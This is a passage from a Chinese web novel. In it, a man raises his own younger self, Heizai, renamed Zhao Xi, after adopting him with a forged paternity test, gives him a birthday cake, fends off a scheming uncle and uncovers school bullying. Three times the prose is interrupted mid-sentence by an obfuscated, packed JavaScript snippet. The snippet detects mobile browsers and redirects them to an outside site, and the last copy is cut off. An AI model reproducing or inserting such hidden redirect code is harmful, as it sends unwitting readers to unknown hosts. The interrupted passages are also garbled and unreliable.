老师茫然道:“有……有可能吧。” 毕竟亲子鉴定摆在这里,不信也得信。 “但毕竟您和黑崽从前没有什么联系,哪怕是亲人,也得先问过黑崽的意见,看他愿不愿意跟您走……” 姜洄道:“这是自然。” 事实上,他也确实该和黑崽聊一聊了。 他跟随老师的步子,来到了孩子们呆的地方。 姜洄一眼就看到了独自坐在角落小凳子上发呆的黑崽。 和之前在姜家每天穿得乱七八糟不同,黑崽在福利院虽然孤僻,但好歹在这里,他穿上了干净的衣服,脸上也没有脏兮兮的痕迹。 老师站在院子门口喊了两声,黑崽才回过神看过来。 第一眼,他也看见了站在老师身边的姜洄,眼前微微一亮,原本坐着,瞬间就站了起来。 老师招呼他出来。 院子里的孩子看见突然出现的陌生面孔,自然也感到好奇,不少孩子都在玩闹间偷偷看向姜洄。 黑崽就在这样的注视里,如芒在背地走了过来。 三人走进了旁边一间无人的教室,黑崽的目光从进来开始,就一直钉在姜洄身上。 门关上,他才开口,喊了一声:“……哥哥。” 老师有些惊讶他竟然会主动开口说话。 而作为中间人,她也理应将现在的情况解释清楚:“你还记得赵先生?那再好不过了,赵先生今天是来办理领养手续的……准确来说,你该叫他一声小叔。” “但要不要跟他回去,还是得问问你自己的意见。所以不用拘谨,尽管说自己的想法就好了。” 黑崽身形一僵,抬头看着姜洄,黑漆漆的眸子清澈见底:“……小,小叔?” 虽然疑惑,但他并没有第一时间提出异议。 姜洄也看着他,平静地点头。 黑崽抿唇,踌躇地看着他,似乎不知道该说些什么,半晌没吭声。 姜洄便推了下眼镜,转头,对老师说:“我和他单独聊聊吧。” 老师看向黑崽,见他也慢慢点了点头,于是起身离开,给了他们一个独立安静的空间。 院子里的孩子玩闹声隔绝在了门外,好像很远,但又似乎那样近。 姜洄坐在椅子上,黑崽则在他对面坐着,似乎很紧张,眼睛不太敢看他,低着头一直在摆弄自己的衣角。 姜洄在脑子里对系统说:【小二,帮我屏蔽一下周围,我要和他说的事情,不能被人听见。】 002:【……哦。】 它默默开启了屏蔽系统,纳闷:怎么感觉宿主把它当作万能器使了呢? 最终还是姜洄先打破了这静谧的氛围:“伤口怎么样了?” 黑崽知道他问的是背上的伤。 他盯着脚上的平底鞋,轻声道:“好很多了。” 保镖买的药并不便宜,毕竟老板出手大方,要买什么也从来不用拘束着。 而且因为是新鲜伤口,并没有延期处理,所以恢复得其实很不错。可能会留下点疤痕,但那无关紧要。 每次涂药之后没多久,伤口都痒得不行,有时候他很想挠一挠,但不知道为什么,想到那天看到的那双平静的黑色眼眸,又克制住了。 想了想,可能是因为他这段不长的人生里,大概是第一次遇见这样好的人吧。 所以哪怕对方那天很快就离开了,甚至没有询问过他的名字,哪怕他们甚至不一定会有下一次见面。 但黑崽还是想着,万一呢? 万一真的下次见面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033592|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果对方要问起这个伤口,他们好像就又有话题可以聊了。 他可以说谢谢,可以说很感谢你的药和衣服,那件衣服很贵吧?我还好好留着,洗干净了,你还要吗? 他还可以说,伤口好很多了,多亏了你的药,多少钱呢?我可以还给你。没有钱也可以努力捡垃圾卖废品还。 也可以说…… 反正,在他的设想中,是有很多可说的事情的,像他印象里所有见过的大人们寒暄的时候一样。 但真到了这一天,他却除了一句“好多了”,其他的什么也说不出口了。 因为似乎除了这点微末交集之外,他和这个好心的哥哥其实根本没什么好寒暄的。 姜洄并不知道他心里在想什么,只是点点头,又问:“你没有什么想问的吗?” 黑崽沉默两秒,舔了舔唇:“老师说的……小叔叔,是怎么回事?” 姜洄:“我做了亲子鉴定,你和我已经去世的大哥,是父子关系。” 黑崽缓缓眨眨眼:“……这是真的吗?” 姜洄:“当然是假的。” 黑崽:“……” 他否认得十分轻快,黑崽不禁陷入了茫然。 他磕巴道:“……那、那……” 那为什么要制造这种虚假的信息? 又为什么要告诉他是假的呢? 姜洄仿佛知道他心里在想什么,轻松道:“虽然亲子鉴定是我伪造的,但你不用担心,没有人会知道这是假的。” “我这么做,是因为赵家需要一个继承人,恰好你和我长得很像,也和我大哥很像,恰好你对我而言,是有利益的存在。” 姜洄盯着他,缓缓道:“而我告诉你,是因为要询问你的意见。” “你的父亲入狱了,我调查过,他对你很不好,那你的母亲呢?” 因为长期的营养不良,黑崽现在长得并不高。 姜洄从椅子上站起,然后蹲下,才能平视黑崽低垂的眼睛。 他一字一顿道:“你的母亲,在法庭上露面了。她主动提供了被拐卖过程的证词,你失去了父亲,但你还有一个母亲,你想回到她身边吗?” 虽然他们是一个人,但对于如今的姜洄来说,时间毕竟已经过去太久,换做现在的他,肯定是不愿意打扰母亲的安稳生活的。 但幼年时就有条件离开父亲的黑崽又是什么想法,他却不能确定了。 黑崽的眼神避无可避,只能看着他。 他沉默了片刻,张了张口。 “不了吧。” “为什么?” 黑崽小声说:“她露面了,但她没有提到我……对吗?” 否则,如果对方承认了她确实生下了一个孩子,她是有对这个孩子的抚养义务的,但她没有提。 所以黑崽这个没有上户口、不知来路的孩子,才会被送到福利院。 姜洄很轻地笑笑。 和他意料中的一样。 “那么。”他站起身。 “走吧。”姜洄伸出手,见他犹豫,又轻笑着补充了一句,“跟我回家,我可以给你买糖吃。” 吃不尽的糖。 该说不愧是自己最了解自己吗? 这话真是出奇地有效,因为黑崽立刻顿住了。 他抬起头,看看姜洄微微含笑的一双眼,再看看他伸出来的那只手。 两秒后,他局促地在背后悄悄用衣服揩了揩其实并不脏的手,小心翼翼地握了上去。 这一刻他在想什么呢? 他在想,也许是因为利益,也许是因为好心,又也许是因为别的…… 但总之,不管因为什么—— 从今以后,黑崽又是有家的孩子了。 8. 生日 离开之前,黑崽和姜洄说:“哥……小叔叔。” “嗯?”姜洄对以前的自己称呼现在的自己小叔叔这件事接受良好,从容地应了。 黑崽小声道:“我还有点东西要收拾一下。” 姜洄有些奇怪黑崽从姜家出来能有什么东西要收拾:“那些破旧衣服不用带。” 黑崽摇摇头,有点窘迫:“不是。” 姜洄于是也没多问,平淡道:“要我帮忙吗?” 黑崽飞快地摇摇头,让他在这里等一等,转身就朝自己的床位跑去。 姜洄便向面前的院长笑笑,安静地等着。 黑崽没让姜洄等多久。 他很快就带着一个用黑色大袋子包裹得顺溜整齐的东西回来了,抱在怀里很宝贝的样子。 姜洄看不到里面装的是什么,难得产生了点好奇心。 但不等他问,黑崽上了车,就直接对他坦白了。 “是那天你给我的衣服。”他打开袋子,里面整齐妥帖地放着那件杏色大衣。 里面似乎还藏着什么,像一张本子的一角,被黑崽往里面掖了掖。 姜洄愣了一下。 黑崽用余光观察他的表情,明明是按着自己写好的剧本在说台词,声音却越来越低:“衣服我洗干净了,你还要吗?” 姜洄的视线在那件衣服上面顿了顿。 他重新看向黑崽,道:“你收着吧。” 一件衣服而已,竟然还专门回去拿。 姜洄心中莫名微妙。 但似乎拿回来也不太合适,毕竟是已经送出去了的,人家还特意洗干净了,再拿回来就像是把人家当洗衣工了一样。 黑崽便“哦”了一声,又将袋子轻声合上了。 经过一家甜品店,姜洄叫停了王叔。 黑崽不明所以,安静地望着他。 但姜洄一扭头,他又转过视线,假装没有在看。 姜洄便也假装没有发现,心里有些好笑,面上还是淡定地下了车。 “等我一会儿。” 王叔知道黑崽现在是赵家小少爷的身份,从后视镜里观察他,见他一直安静乖巧地坐着,不由心疼。 这是流落在外的时候受了多少苦啊,看着这么懂事。 黑崽全然不觉,他目光追着姜洄走进店里,过了一会儿,又看见他提着什么东西回来了。 蛋糕? 黑崽眨眨眼,没有说话,看着姜洄表情平静地坐上来,嘱咐王叔继续开车。 他手指碾着袋子的一角,神游天外,不多时,听见姜洄开口:“不问问我去做什么了?” 黑崽便看向他,老老实实地问:“小叔叔去干什么了?” 姜洄扯了扯嘴角,从口袋里拿出一把小块的、用透明糖纸包裹着的水果糖。 黑崽看着怀里的糖,呆住了。 因为窗外照射进来的阳光,糖纸隐约还反射着七彩的光,像是童话世界才有的颜色。 “说过要给你买糖的。”姜洄在一旁,淡声说,“我这个人,不爱食言。” 黑崽唇瓣蠕动了两下,声若蚊呐:“……谢谢。” “该给你取个新名字了吧?”姜洄主动转移了话题,他思索了下,道,“就叫赵熙怎么样?” 他点了点窗上铺满的阳光:“熙,有光明灿烂的意思,寓意也好。” 他想到福利院老师说黑崽不愿意改名,这一出可是从来没有过的,他前世也不喜欢黑崽这个名字,一进娱乐圈,通过公司的关系办理了正式户口,立刻就取了新名。 ——姜洄,虽然没什么寓意,但好听就行,而且顺口。 对于那时候的姜洄来说,能脱离原本的那个沾满了噩梦的名字就已经很好了。 以至于后来也习惯了这两个字,并不觉得有哪里不好。 但给这个世界的“黑崽”取名,可就不能随便套这个公式了。 而且,能脱离“姜”这个令他厌恶的姓,怎么不算是姜洄的一种梦想呢? 想到这里,姜洄顿了下,扭头看他:“喜欢吗?” 黑崽已经收起了怀里的那把糖,很轻地点点头。 好听,喜欢。 姜洄不出所料地扯了扯嘴角。 002在他脑海里悄悄嘁了一声。 明明是翻了好几天的字典想的名字,还要装作是刚想出来的样子。 人类真是虚伪。 回到别墅,两个保镖守在门口的院子里,并没有进门,黑崽因此多看了他们两眼,记得这两个人不是上次见过的那两位。 姜洄以为他好奇,随口解释:“他们住后院,晚上会交班。” 黑崽若有所思地点点头。 两人进了门,姜洄打开灯。 从穿越过来开始他就一直住在这间别墅,每次回家,只要做饭的李阿姨不在,偌大的房子里就是一片黑暗,空无一人。 但这次有一点不一样了。 姜洄低下头,看见跟在他身后回来的黑崽……不,赵熙,正抱着那个黑色袋子小心翼翼打量着周围,眼里露出几分惊叹。 姜洄将门口早就准备好的儿童拖鞋轻轻踢过去:“穿上。” 他便乖巧地蹲下来换鞋。 姜洄道:“来录一下你的指纹。” 赵熙愣了愣,犹疑地走过去。 “……可、可以吗?” 姜洄淡定道:“从今天开始,你是这个家第二个主人,录个大门指纹而已,有什么不可以?” 赵熙于是不说话了。 姜洄让做什么他就做什么,像只听话的小狗崽,乖巧得不行。 姜洄带他认领了房间,他们的房间是相邻的,都在二楼,整齐干净,明亮宽敞,装修风格和别墅风格一致,奢华低调。 赵熙站在门口看了半天,眼里都是愣忡,似乎不太敢相信是自己以后要住的地方。 姜洄在他肩上轻轻拍拍,路过他身侧下楼:“把东西放好,下来吃蛋糕。” 赵熙回过神,连忙进了房间门,将衣服和糖果都好好地放到桌上,匆匆又看了一眼,随即三步并两步,略显局促地跟着他下了楼。 瞅见姜洄拆盒子的动作,赵熙有些欲言又止。 姜洄在餐桌边,边拆蛋糕,边淡定道:“想问什么?” 赵熙:“……小叔叔,你怎么知道今天是我的生日?” 姜洄轻笑:“你忘了?我调查过你。” 其实不是。 忘了什么,姜洄都不会忘记自己的生日。 12月6号,这个听上去很吉利的日期。但也只是听上去。 这是寒冬的开章——或许正因为是寒冬,所以冰冷的天气会轻易冻结掉蛋糕、亲情和俗世普通人观念中生日里所应有的所有快乐、惊喜,只剩一片空茫虚无。 生日的日期如此坦荡,原主的未来也可以因为身份地位过得光鲜亮丽,但只有他自己的人生一塌糊涂。 小时候过生日,家里没有人会上心,以至于黑崽一直以为,生日就该平淡无奇地过,像以往平常的每一天一样。 直到上了学才发现,生日原来是一个值得庆祝的日子。 于是后来,每次生日当天上下学,路过街边的蛋糕店,他都会驻足在路边看一会儿。 虽然吃不到,但橱窗里那一个个包装精美的蛋糕,在昏黄温暖的灯光下显得那样诱人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033593|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他只是看着,就觉得心满意足了,仿佛自己也过了一个拥有蛋糕的生日。 后来进了娱乐圈,第一部戏杀青后,他终于攒了点钱,也舍得给自己买蛋糕了。 可是蛋糕吃到嘴边,却没了年幼时想象中梦寐以求的味道。 原来曾经无比渴求的东西,味道其实这样普通乏味。 但姜洄不会忘记,曾经的自己为了这一个蛋糕,日思夜想过多少回。 所以走进蛋糕店,向服务员要了一把糖果后,他没有犹豫多久,便买下了橱窗里最漂亮的一个蛋糕。 赵熙眨眨眼,小声问:“……所以蛋糕,是给我买的?” 姜洄:“不然呢?” 他顿了顿,给蛋糕插上了蜡烛,语气稀松平常: “下次有事情直接问,我不喜欢看人吞吞吐吐。” 赵熙忙应了,嘴角下意识扬起一个弧度。“谢谢小叔叔。” 姜洄看着他腼腆的笑脸,收回视线,“嗯”一声,示意他坐过来:“吹蜡烛吧。” 来到赵家的第一天,赵熙过了人生中的第十个生日,和姜洄一起。 他忐忑地闭上眼,在蜡烛摇曳晦暗的光影里,许了一个谁也不知道的愿望。 他希望,下个生日还可以和小叔叔一起。 姜洄切了蛋糕,看赵熙眼巴巴看着自己,一副他不吃、自己也不好意思吃的样子,犹豫两秒,还是将盘子上的蛋糕叉了一块进嘴里。 赵熙心满意足地收回目光,终于开始吃自己的那一份。 但姜洄只吃了两口就放下了。 因为年幼时没吃过,长大后的那几年又吃伤了,后来他就不太偏爱甜腻腻的东西了,此时便只静静地看着赵熙吃。 就在这祥和静谧的氛围里,忽然响起了一道门铃声。 姜洄思绪回神,示意他继续吃,自己去开门。 保镖站在门口,说:“老板,有个自称您大伯的人要见您。” 姜洄的目光随着他手指的方向朝外看去,果然看见了赵青的面孔。 对方一身正装,靠在车边,手里拎着一个礼盒,看见他,便朝他扬起一个长辈的慈祥笑容。 看来赵青还是先沉不住气了。 姜洄静静看了他两秒,对保镖道:“让他进来吧。” 保镖这才依言放人。 赵青跟着他进了门,看到的就是端坐在沙发上的赵茴,和一个坐在餐桌边吃蛋糕的陌生孩子。 看见有人进门,他抬头看过来,眼里还带着几分迷茫。 他下意识从椅子上下来,用衣服揩了揩手……虽然手上并没有什么脏东西。 而做出这个动作之后,他也僵硬了一瞬间,不知所措地站着,喊了声:“您好。” 赵青:“?” 这孩子从哪儿来的? 姜洄淡声道:“西西,过来。” 西西? 赵熙缓慢地眨了下眼。 是喊他吗? 好像……有点亲密,像真的是亲人一样。 他看了一眼新来的客人,小步快速朝他小叔叔跑了过去,也小声喊:“小叔。” 姜洄示意他在旁边坐下,眼神瞥过他的唇边,又递了张纸给他:“有客人呢,擦擦嘴。” 他语气自然,像是已经对赵熙说过很多遍这种话。 赵熙接过纸巾,不好意思地擦了下嘴角沾上的奶油。 姜洄倒像是察觉不到这两人都觉得尴尬似的,回头对赵青道:“大伯?坐啊。” 小叔叔的大伯? 赵熙思考了一下,观察着姜洄的表情,以及刚刚那句“客人”,心中隐约对来人在小叔叔心中的地位有了判断。 9. 电话 赵青对他轻视的态度所不满,但忌惮于姜洄如今的地位,到底也没有发作。 他扯了扯嘴角,在两人面前坐下,眼神不住地往赵熙身上看。 “这孩子是……” “大伯来得正好,也是该给你们正式介绍一下。”姜洄给他倒了杯茶,慢条斯理地笑笑,“这孩子,是我大哥的遗孤。” “咔擦”。 赵青刚捏在手里的茶杯发出轻微的碎裂声。 他瞪大眼睛,不可置信道:“怎么可能?” 赵茗虽然已经到了而立之年,但去世的时候连婚都结没过,哪来的孩子? 姜洄眼神晦涩地看他一眼,叹息道:“说来话长……这孩子怎么来的,我也不好在他面前说太多,您应该明白。他从小流落在外,吃了不少苦,我也是最近才才机缘巧合遇见他,看他长得与我相似,才起了要做亲子鉴定的心思。” “谁能想到这样巧合,他和我大哥竟然真的是父子关系。” 赵熙低着头,听他编瞎话,没有反驳。 赵青看看他,再看看赵熙。 这两人好像确实眉眼相像,连表情都有几分神似。 他张了张口,心中还是觉得荒谬,但看见姜洄笃定淡然的表情,又不禁有了几分怀疑。 难不成真是遗孤? 赵家小子这一出要是假的,迟早也要败露,何况这么短时间,他从哪儿找到一个长相这么相似的孩子? 他这一趟原本是要来打探姜洄接下来是什么打算的,也顺便缓和一下两家的关系,看看有没有机会再把遗产弄到手,没想到还多了个孩子。 这下简直是一个头了两个大。 莫非老天爷都看不下去赵家绝后? 即便心中已经有七分信了,但赵青面上还是要装作不信的。 他义正词严道:“这孩子来路不明,小回你可不要被骗了,要是赵茗那孩子真有这样一个遗孤,怎么会半点都不知情?” “大伯此言差矣,这就是我要告诉大伯的第二件事了,”姜洄道,“我大哥带我去宴会之前,曾经说过有件十分重要的事情晚上要告诉我,只是还没能说出来便……” 他说到这里,脸上适时地露出几分悲伤,没有继续讲下去。 “我想,他或许就是要告诉我这个孩子的事情吧。” 赵熙低着头,悄悄抿了抿唇。 他想起了小叔叔领他回家的时候说过,赵家需要一个继承人。 原来真的是这样。 姜洄这段话实则半真半假。 真的是赵大哥死前确实有说过要告诉弟弟一件相当重要的事情,假的是赵大哥根本没有所谓的遗孤。 有系统认证,姜洄可以确定,赵大哥本人虽然谈过几段恋爱,但确实没有任何孩子。 但赵青不知道。 姜洄看着他脸上僵硬的笑容,继续道:“有空了我就带这孩子去给大哥上柱香,也告诉他一声让他安心……对了,这孩子既然认回了赵家,我心里是想办个家宴的,但这孩子喜欢安静,就不张扬了,麻烦以后要是再有人来问西西的事情,您就如实说好了。” 这一番话下来,赵青也只好点了点头,又胡乱闲聊了几句。 姜洄问他今天是有什么事来这里,他也含糊着只说是路过。 偶尔问到赵熙以前在哪里生活、和谁一起,赵熙回答得拘谨却不曾出错,只说自己也不清楚,只是原本呆的家里出了事,才被小叔叔找回来。 但看着叔侄俩酷似死去的赵茗的脸,赵青脸上的笑也越来越挂不住,暗骂这一家子,真是老的小的都不好对付。 没一会儿就放下礼物告辞离开了。 “一点心意,就当是给孩子的见面礼了。” 姜洄没说什么,点头送客。 礼盒里面装着一只色泽圆润明亮的名贵玉镯。 姜洄倒也没有扔掉,毕竟也是钱,但留下来碍眼,他干脆让王叔帮忙拿去卖了,分作大家奖金。 王叔喜笑颜开地应了。 挂了电话,扭头看见赵熙盯着桌上没吃完的蛋糕发呆,他想了想,走过去:“吃不完?” 赵熙回神,点点头:“我能放冰箱里留着以后吃吗?” 蛋糕的储存期不长,已经打开过,放到冰箱也最多保存两天。 但看着赵熙眼里期待的色彩,姜洄无言地点了点头。 他看着赵熙收拾好蛋糕盒子,踮脚打开冰箱,小心翼翼地在一众价格高昂且摆放整齐的食材中,塞进他吃得只剩一半、显得有些落魄的蛋糕。 他珍惜的眼神,却像是在看待什么宝贝一般。 姜洄盯着,忽然开口:“那个镯子,虽然他说是送你的,但我不会给你。” 赵熙顿了一下,点点头:“嗯。” 姜洄道:“不问问我为什么吗?” 赵熙笑笑,说:“小叔叔带我回家,不管您给我什么,不给我什么,我都不会有任何怨言的,我知道,那些您给我的,是善意,不给我的,也没有义务必须给我。” 姜洄轻轻笑了。 这样和年幼时的自己对话的感觉还不赖。 虽然他太了解对方心里在想什么,会说什么,可他还是选择问出了口。 也许是因为,他也太久没有人能陪着说说话了吧。 “明天收拾一下,跟我去上香。” 赵熙道:“是……父亲吗?” 对那个从未见过面的陌生男人,他还是有些喊不出口爸爸这个词,所以谨慎地用了“父亲”来指代。 姜洄淡淡点头。 虽然人是假的,但对外要做足样子,况且,平白让赵大哥多了一个孩子,怎么也得上个香告知一声,就当见过面认过祖了。 赵熙应了。 姜洄没再多说,摆摆手上楼了。 翌日,赵熙穿着衣柜里由姜洄安排的崭新名贵的衣裳,整个人都焕然一新。 毕竟是去上香,衣服还是比较正式的,一身合身的小孩西装,再将头发理一理,不需要过多装饰,板板正正的像个小大人一般。 大概从没穿过这样正式的衣服,赵熙哪哪儿都觉得别扭,顶着旁人的视线,僵着一张脸跟在姜洄身边,更显得少年老成了。 今天除了保镖和王叔,只有他们两个人。 赵熙给名义上的这位父亲上完香,看着照片上笑容温和、和自家小叔叔长得那样相似的一张脸,也平白多了几分亲切。 他回过头,看向一旁的小叔叔。 他静静地在远处站着,没有上前,神情被今天山间浓重的雾气掩去了一些,看不清晰。 但赵熙隐约觉得,他仍然是平静的。 好像从认识开始,小叔叔就一直是这样镇静的模样,从未有过失态的时候。 但他也失去了所有亲人啊。 他会难过吗? 没有来墓碑前,是不是因为不想触景生情呢? 赵熙想了很久,终于抬步,朝他走过去。 “小叔叔。我好了。” 实际上只是觉得占了人家身体,不好在墓碑前露面的姜洄打了个哈欠:“嗯。” 他 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赵熙仍然是赵大哥孩子的身份,有独立户口。* 上完户口,就该考虑上学的事情了。 赵熙从进了福利院以后,以前那个学校就没再去上了,毕竟也不是正经学校,而来了赵家,姜洄没有提过要把他送去上学的事情,赵熙也就一直没问过。 听见他打电话要给他办理报名重新上学,赵熙眼睛都亮了一个度。 想起之前还在姜家的时候,很多次上学都因为看不到时间而迟到,姜洄特意给他买了一块最新款的名牌黑色手表,在上学的前天晚上送给了他。 赵熙收到之后很高兴,小心翼翼地抚摸着表盘:“谢谢小叔叔。” 第二天,赵熙开始上学,新的学校是江城最好的重点贵族学校。 因为和姜洄上班的时间错开,仍旧是王叔送他上下学。 原本下班家里总是亮着灯的别墅,又空荡起来。 姜洄贪睡,九点上班,基本睡到八点才起床,这时候赵熙已经去上学了。 中午赵熙在学校吃饭,晚上姜洄比他回来得晚,但一个写作业学礼仪、一个忙工作,饭都难得凑到一起吃。 以至于后来上十天,明明在同一个屋檐下,姜洄见到赵熙的次数都屈指可数。 直到这天他接到警局的电话,警方告诉他,关于他大哥的案子,有消息了。 姜洄心想,总算没有辜负他雇佣那么多侦探查来后送到警局的消息,他应付了两句,让陈助理帮忙收拾了一下还没处理的文件,准备应警官的话去警局了解一下具体情况。 他刚坐车到警局,见到了负责这起案件的金队长,被请进休息室,后脚他手机就来了一个电话。 这个号码是他的私人号码,除了亲戚朋友很少有人知道。 姜洄看了一眼,是陌生号码,便放着没管,交给了门口的陈助理。 一个小时后,他出了休息室,陈助理告诉他:“二少,您手机刚刚响了好几次,我就自作主张接听了一下,是博雅学校的老师打来的。” 博雅是赵熙所在的贵族学校的名字。 一瞬间,姜洄脑子里闪过了无数可能性。 但他语气仍旧镇定道:“什么事?” “老师说,小少爷在学校里和同学有些恩怨闹起来了……情况有些复杂,要请您去学校一趟吧。” 10. 欺凌 姜洄微微皱眉。 “你接那个电话是什么时候?” 陈助理道:“四十分钟前。我看您和警官正聊得认真,就没打扰。” 姜洄揉了揉眉心,道:“去学校看看。” 话音刚落,姜洄还没迈出步子,电话又响了。 还是那个号码。 “您好,我是博雅学院的老师。” 姜洄道:“我知道,刚才有些事,所以没有接电话。我这就去学校……” “不用了。”那边的女声咳了一声,尴尬道,“您不用过来了,事情已经解决了。就是孩子之间小打小闹,几个孩子都和好了,这会儿都回去上课了。” 姜洄沉默片刻,挂了电话。 陈助理机灵道:“要查一下小少爷那边的情况吗?” 姜洄道:“嗯。” 出警局时,姜洄看见了另一件审讯室正关着神色疲惫的赵青。 他只扫了一眼,便波澜不惊收回了目光。 这件事对他来说也算是落幕了,毕竟赵青进了这里,姜洄就不会让他轻易再离开。 他再有权有势又如何?姜洄现在也不是任人拿捏的软柿子,压着他无法脱罪,还是有办法的。 是的,姜洄猜测的没错,赵大哥的死确实不简单,而且嫌疑人也和他所想的别无二样——正是赵青。 警方秘密调查,搜罗了一个多月,总算是找到了关键性证——当天车祸现场和他们撞车后死亡的那名司机账户里,多了一笔巨款,其家人举家搬迁海外,被警方追回,也是从他们口中,确定了嫌疑人选。 这才有了今天赵青被带进警局的事情。 金警官和他讲的却不止这个,他甚至主动提出了姜洄之前所怀疑的——赵家家主那场车祸。 因为两者死因相似,金警官调阅过相关信息,觉得实在过于巧合,不是意外这么简单,想要重新开卷调查。 姜洄对此表示鼎力支持。 当晚,他难得提前下班,回来时正好遇见放学回来的赵熙坐在餐桌边,正准备吃饭。 瞅见他,端菜出来的李阿姨笑道:“二少回来了?正好饭菜好了,来吃吧。” 赵熙眨眨眼,起身喊他:“小叔叔。” 姜洄应了一声,脱下外套换了鞋、洗过手后,才到餐桌边坐下了。 赵家没有什么豪门不能和做饭阿姨一起吃饭的规矩,但李阿姨自己觉得不自在,每次吃饭都端着饭碗去院子里坐在板凳上,和几个保镖一起吃。 因此每次饭桌上,也都是只有他们两个人。 大门关上,姜洄拿起筷子,看了两眼对面的赵熙。 这段时间的名师教导大概还是有用的,现在赵熙的身板都挺拔了不少,只是今天和他见面,仍旧是低着头,显得有些畏缩的模样。 姜洄注意到,哪怕是在有空调的家里,他也穿着厚实的毛衣。 嘴角还有些可疑却不太明显的青紫色。 察觉到他打量的目光,赵熙身形微微僵住,干巴巴地问了句:“小叔叔今天回来的好早。” 姜洄吃了一筷里脊肉,淡淡道:“你嘴角的伤口怎么回事?” 赵熙:“没、没事,摔了一跤。” 摔能摔到这个位置? 姜洄不置可否:“我接到老师的电话了。” 氛围凝固了瞬间。 姜洄问:“所以发生什么事了?” 赵熙脑袋更低了些,捏着筷子道:“真的没事……” 姜洄收回眼神,又夹了一筷子红烧鱼,淡声道:“你不说,我也能自己查到。” “但你说不说,就决定了这件事在我这里,我会采取什么样的措施。” 赵熙抿了抿唇,仍旧道:“只是一点小事……小叔叔忙,还是别费心了。” 边说着,边掩饰性地往自己嘴里塞米饭。 姜洄盯着他,慢条斯理地嚼了两口鱼肉。 他吐出一根刺来,平静道:“今天大哥的案子有了消息,就是你前段时间见过的那位大爷,亲手害了他。” “老师给我打电话的时候,我在警局和警官聊天,里面不方便拿着手机进去,是出来以后助理告诉我,你老师给我打了电话我才知道的。” 赵熙豁然抬头,愣愣看向他。 姜洄仿佛浑然不觉,继续吃着碗里的饭菜:“等我要去学校的时候,老师却说不用去了。” “我没问她,是因为知道有什么事情,学校的老师也一般会选择遮掩隐瞒。” “但我问你,是因为我信任你。” “所以,我再给你一次机会,今天到底怎么了?” 赵熙呆了片刻,磕巴道:“对、对不起,我不知道。” “今天……”赵熙停顿了下,脑袋又低下去了,“就是,几个同学,和我平时关系不太好,骂了我两句,我气不过……和他们动了手。” 姜洄挑眉。 赵熙可不是会因为几句脏话动手的人。 要么是对方说了不该说的,要么是……这种言语凌辱已经不少时日。 他便问:“说了什么?” 赵熙悄悄看了眼他的表情。 姜洄放下筷子,很轻的一声响,却让赵熙微微一抖。 他道:“说。” 赵熙抿唇,道:“他们说……我是有妈生没妈养的野种,进了赵家,也名不正言不顺。” 这话不仅是嘲笑赵熙赵家少爷的名头来的不对,更是戳中了赵熙的心事。 他确实是有妈生没妈养。 但——这种话其实先前在村里也听过不少,赵熙怎么这回就沉不住气动手了呢? 不是他看不得赵熙反击,而是奇怪赵熙突然变得这样冲动。 姜洄半信半疑:“就这样?” 赵熙犹豫了两秒,道:“……他们不止今天这样说过。” 事实上,在赵熙刚转学进入这所学校的时候,就有人对赵熙看不顺眼了。 入学第一天,赵熙就被堵进了男厕所,带头的是原本班上成绩也不怎么样的一个男生,叫孙沿。 赵熙后来了解到,他是江城世家孙家的小少爷,孙家和赵家数十年前也有过些交情,只是后来赵家扎根商圈,他们自诩多年书香门第,彼此便来往少了。 对于这个赵家新带回来的少爷,孙沿表现得相当不屑,觉得他来路不正,言语间极尽嘲讽。 他将人堵在厕所羞辱了一通,讽刺赵熙是山沟老鼠,哪怕一朝走运飞天,也改不了身上的寒酸气。 这些话难听是难听,但赵熙听过更难听的,所以倒也算不了什么。 他任由他们奚落,想着毕竟刚刚转学,不好给小叔叔惹事,于是默默忍了,没有反驳。 但后来这上十天,期间对方见他态度沉默不加反抗,更加变本加厉,总是指使着赵熙去帮他干这干那,例如让对方帮自己去很远的小卖部买东西,以至于上课迟到被老师罚站,事后又当着全班人的面笑话他是自己的狗腿子。 赵熙忍了又忍,还是没和他翻脸。 直到今天上午,体育课下课,体育老师让孙沿把东西搬回器材室,他偷懒不去,要赵熙代替他,赵熙也应了。 但他竟然还故意跟在后头,将人反锁在器材室,随后在外面和自己那群好朋友哈哈大笑,笑完一哄而散。 器材室只有一扇窗户对着没什么光线的走廊,是用木板封死的,电闸也常年关着,又较为偏远,赵熙拍门拍了很久,都没人来救他。 他在一片黑暗里呆了很久,四周寂静无声,只有他一个人在竭力呼喊,有种被这死寂的黑暗吞噬的恐惧。 但这些,赵熙没有说出来。 他抬眸看了一眼对面的姜洄,轻声道:“直到两节课结束我还没回去,老师才发现我不见了。” 那近两个小时的黑暗,只有他一个人在煎熬。 孙沿心不甘情不愿地交代了赵熙的下落,老师们才在器材室里找到了他。 班主任劝赵熙:“人没事就行,赵熙同学,孙沿已经知道错了,也不是故意的,你不会怪他的对吧?” 孙沿则躲在班主任身后,仰着鼻孔看人,态度极度嚣张,甚至公然叫嚣:“跟他这么客气干嘛?老师,就算他怪我了又怎么样?你看他被我欺负得屁也不敢放一个,看来他在家里他小叔也不怎么喜欢他。就算去告状,我看他小叔也不会帮他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 